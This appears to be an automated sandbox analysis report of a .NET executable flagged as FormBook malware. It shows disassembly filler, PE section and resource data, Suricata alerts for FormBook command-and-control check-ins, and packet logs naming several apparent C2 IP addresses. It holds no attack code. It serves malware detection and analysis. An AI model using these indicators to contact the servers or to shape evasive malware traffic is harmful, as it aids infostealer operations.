add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd2688	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0x2228	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xd3000	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xd06e0	0xd0800	5ae1cf6bf2e56edbb38ec95a0f381c87	False	0.8905629402727818	data	7.712122709503229	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xd4000	0x2228	0x2400	e0a077bcdf1b6f79b9f95120bc70eeb5	False	0.8843315972222222	data	7.384538685460378	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd8000	0xc	0x200	63621867cbe67ee2f67b562d8d00aa54	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xd40c8	0x1e1f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9939048113085203
RT_GROUP_ICON	0xd5ef8	0x14	data	1.05
RT_VERSION	0xd5f1c	0x308	data	0.45618556701030927

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-12T10:20:15.987054+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49165	85.159.66.93	80	TCP
2024-12-12T10:20:32.108922+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49167	188.114.97.6	80	TCP
2024-12-12T10:20:35.908998+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49168	188.114.97.6	80	TCP
2024-12-12T10:20:35.908998+0100	2856318	ETPRO MALWARE FormBook CnC Checkin (POST) M4	1	192.168.2.22	49168	188.114.97.6	80	TCP
2024-12-12T10:20:37.427008+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49169	188.114.97.6	80	TCP
2024-12-12T10:20:41.230424+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49170	188.114.97.6	80	TCP
2024-12-12T10:20:47.127778+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49171	85.25.177.138	80	TCP
2024-12-12T10:20:50.940626+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49172	85.25.177.138	80	TCP
2024-12-12T10:20:52.440634+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49173	85.25.177.138	80	TCP
2024-12-12T10:20:56.248123+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49174	85.25.177.138	80	TCP
2024-12-12T10:21:29.308577+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49175	173.236.199.97	80	TCP
2024-12-12T10:21:32.951377+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49176	173.236.199.97	80	TCP
2024-12-12T10:21:34.621628+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49177	173.236.199.97	80	TCP
2024-12-12T10:21:38.255907+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49178	173.236.199.97	80	TCP
2024-12-12T10:21:43.897784+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49179	203.161.42.73	80	TCP
2024-12-12T10:21:47.642319+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49180	203.161.42.73	80	TCP
2024-12-12T10:21:49.211359+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49181	203.161.42.73	80	TCP
2024-12-12T10:21:52.962627+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49182	203.161.42.73	80	TCP
2024-12-12T10:21:58.559422+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49183	46.30.211.38	80	TCP
2024-12-12T10:22:02.353248+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49184	46.30.211.38	80	TCP
2024-12-12T10:22:03.875968+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49185	46.30.211.38	80	TCP
2024-12-12T10:22:07.657112+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49186	46.30.211.38	80	TCP
2024-12-12T10:22:13.161120+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49187	77.68.64.45	80	TCP
2024-12-12T10:22:16.929242+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49188	77.68.64.45	80	TCP
2024-12-12T10:22:18.506959+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49189	77.68.64.45	80	TCP
2024-12-12T10:22:22.262702+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49190	77.68.64.45	80	TCP
2024-12-12T10:22:27.923190+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49191	146.88.233.115	80	TCP
2024-12-12T10:22:31.731906+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49192	146.88.233.115	80	TCP
2024-12-12T10:22:33.240523+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49193	146.88.233.115	80	TCP
2024-12-12T10:22:37.055660+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49194	146.88.233.115	80	TCP
2024-12-12T10:22:42.957238+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49195	217.160.0.200	80	TCP
2024-12-12T10:22:46.772124+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49196	217.160.0.200	80	TCP
2024-12-12T10:22:48.326210+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49197	217.160.0.200	80	TCP
2024-12-12T10:22:52.139890+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49198	217.160.0.200	80	TCP
2024-12-12T10:22:57.560387+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49199	13.248.169.48	80	TCP
2024-12-12T10:23:01.251058+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49200	13.248.169.48	80	TCP
2024-12-12T10:23:02.938092+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49201	13.248.169.48	80	TCP
2024-12-12T10:23:06.585920+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49202	13.248.169.48	80	TCP
2024-12-12T10:23:12.245501+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49203	81.2.196.19	80	TCP
2024-12-12T10:23:16.058770+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49204	81.2.196.19	80	TCP
2024-12-12T10:23:17.565888+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49205	81.2.196.19	80	TCP
2024-12-12T10:23:21.384078+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49206	81.2.196.19	80	TCP
2024-12-12T10:23:26.993563+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49207	172.67.215.235	80	TCP
2024-12-12T10:23:30.781995+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49208	172.67.215.235	80	TCP
2024-12-12T10:23:32.310126+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49209	172.67.215.235	80	TCP
2024-12-12T10:23:36.102417+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49210	172.67.215.235	80	TCP
2024-12-12T10:23:42.502367+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49211	172.67.145.234	80	TCP
2024-12-12T10:23:46.671806+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49212	172.67.145.234	80	TCP
2024-12-12T10:23:48.237742+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49213	172.67.145.234	80	TCP
2024-12-12T10:23:51.985546+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49214	172.67.145.234	80	TCP
2024-12-12T10:23:57.760685+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49215	69.48.179.238	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 10:20:14.527513027 CET	49165	80	192.168.2.22	85.159.66.93
Dec 12, 2024 10:20:14.647089005 CET	80	49165	85.159.66.93	192.168.2.22
Dec 12, 2024 10:20:14.647173882 CET	49165	80	192.168.2.22	85.159.66.93
Dec 12, 2024 10:20:14.655329943 CET	49165	80	192.168.2.22	85.159.66.93
Dec 12, 2024 10:20:14.774883986 CET	80	49165	85.159.66.93	192.168.2.22
Dec 12, 2024 10:20:15.986624002 CET	80	49165	85.159.66.93	192.168.2.22
Dec 12, 2024 10:20:15.986885071 CET	80	49165	85.159.66.93	192.168.2.22
Dec 12, 2024 10:20:15.987054110 CET	49165	80	192.168.2.22	85.159.66.93
Dec 12, 2024 10:20:15.989517927 CET	49165	80	192.168.2.22	85.159.66.93
Dec 12, 2024 10:20:16.108798027 CET	80	49165	85.159.66.93	192.168.2.22
Dec 12, 2024 10:20:20.800949097 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:20.920521021 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:20.920598030 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:20.920856953 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:21.040230989 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.073776007 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.074035883 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.074050903 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.074057102 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.074100971 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.074110985 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.074116945 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.074130058 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.074131966 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.074321032 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.074331045 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.074405909 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.074405909 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.184211969 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.193617105 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.193643093 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.193856001 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.266248941 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.266264915 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.266437054 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.270401001 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.270416975 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.270697117 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.278836012 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.278850079 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.279330969 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.287117958 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.287215948 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.287377119 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.287642956 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.295474052 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.295773983 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.295842886 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.296070099 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.304358006 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.304374933 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.304805994 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.312186956 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.312201977 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.312298059 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.320580959 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.320811987 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.321057081 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.330127001 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.330315113 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.330498934 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.330554008 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.338958979 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.338988066 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.339061975 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.345674992 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.345690012 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.345773935 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.458261013 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.458277941 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.458395004 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.461952925 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.461990118 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.462063074 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.471175909 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.471445084 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.471504927 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.477417946 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.477492094 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.477552891 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.484529018 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.484749079 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.484823942 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.494043112 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.494060993 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.494112015 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.499847889 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.500109911 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.500174999 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.507778883 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.507800102 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.507857084 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.515301943 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.515326977 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.515495062 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.522866011 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.522918940 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.523185015 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.530492067 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.530505896 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.530812979 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.536614895 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.536906004 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.537070990 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.542833090 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.542965889 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.543023109 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.549096107 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.549352884 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.549418926 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.555367947 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.555603981 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.555870056 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.561650038 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.561969042 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.562113047 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.567989111 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.568005085 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.568103075 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.574162960 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.574289083 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.574347019 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.580219984 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.580368996 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.580424070 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.650360107 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.650414944 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.650557995 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.653037071 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.653209925 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.653371096 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.654568911 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.657361031 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.657434940 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.657478094 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.657526970 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.663115978 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.663229942 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.663284063 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.668741941 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.668862104 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.668904066 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.674418926 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.674680948 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.674747944 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.679778099 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.680181980 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.680239916 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.685009003 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.685117006 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.685173988 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.690388918 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.690402031 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.690469980 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.695368052 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.695382118 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.695444107 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.699749947 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.700690985 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.700738907 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.706944942 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.706958055 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.707046032 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.708973885 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.708985090 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.709016085 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.709033012 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.713165045 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.713195086 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.713387012 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.717497110 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.717557907 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.717706919 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.721752882 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.721963882 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.722050905 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.726068974 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.726247072 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.726306915 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.730407953 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.730576992 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.730740070 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.734833956 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.734960079 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.734966993 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.735014915 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.739101887 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.739233971 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.739284039 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.743561983 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.743659019 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.743709087 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.747788906 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.747942924 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.747992039 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.752099991 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.752269030 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.752320051 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.756438017 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.756556034 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.756649971 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.760770082 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.760870934 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.760934114 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.765198946 CET	80	49166	45.33.6.223	192.168.2.22
